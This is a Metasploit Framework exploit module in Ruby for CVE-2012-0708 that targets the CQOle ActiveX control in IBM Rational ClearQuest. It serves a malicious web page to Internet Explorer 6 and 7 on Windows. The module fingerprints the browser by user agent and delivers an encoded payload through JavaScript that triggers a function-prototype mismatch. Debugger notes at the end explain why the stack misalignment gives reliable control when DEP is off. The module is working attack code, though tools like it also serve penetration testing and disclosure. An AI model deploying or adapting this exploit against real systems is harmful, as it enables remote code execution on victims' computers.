1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name=> HttpClients::IE, :ua_minver=> "6.0", :ua_maxver=> "7.0", :javascript => true, :os_name=> OperatingSystems::WINDOWS, :classid=> "{94773112-72E8-11D0-A42E-00A024DED613}", :method => "RegisterSchemaRepoFromFileByDbSet", :rank => NormalRanking }) def initialize(info={}) super(update_info(info, 'Name' => "IBM Rational ClearQuest CQOle Remote Code Execution", 'Description'=> %q{ This module exploits a function prototype mismatch on the CQOle ActiveX control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which allows reliable remote code execution when DEP isn't enabled. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Andrea Micalizzi aka rgod', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0708' ], [ 'BID', '53170' ], [ 'OSVDB', '81443'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-113/' ], [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ], ], 'Payload'=> { 'BadChars' => "\x00" }, 'DefaultOptions'=> { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets'=> [ # cqole.dll 7.1100.0.150 [ 'Automatic', {} ], [ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite ], 'Privileged' => false, 'DisclosureDate' => "May 19 2012", 'DefaultTarget'=> 0)) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1]#IE 6 on Windows XP elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[1]#IE 7 on Windows XP elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[1]#IE 7 on Windows Vista else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") send_not_found(cli) return end js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch)) object_id = rand_text_alpha(rand(8) + 4) dbset_value = rand_text_alpha(rand(8) + 4) var_payload = rand_text_alpha(rand(8) + 4) html = <<-EOS <html> <body> <object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object> <script language="JavaScript"> var #{var_payload} = unescape("#{js_code}") #{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload}); </script> </body> </html> EOS html = html.gsub(/^\t\t/, '') print_status("#{cli.peerhost}:#{cli.peerport} - Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin * RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called: Breakpoint 0 hit eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206 MFC80U!_AfxDispatchCall+0xe: 78371062 ffd0calleax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)} * RegisterSchemaRepoFromFile prototype (it is going to be executed): .text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *) his ret is: retn4 * RegisterSchemaRepoFromFileByDbSet prototype (it should be executed): .text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *) his ret is: retn8 * When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens: 0:000> p eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202 MFC80U!_AfxDispatchCall+0x10: 78371064 c3ret 0:000> dd esp 0013e208001dcff4 7835f5d2 fffffffe 78336a3a ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is disabled =end |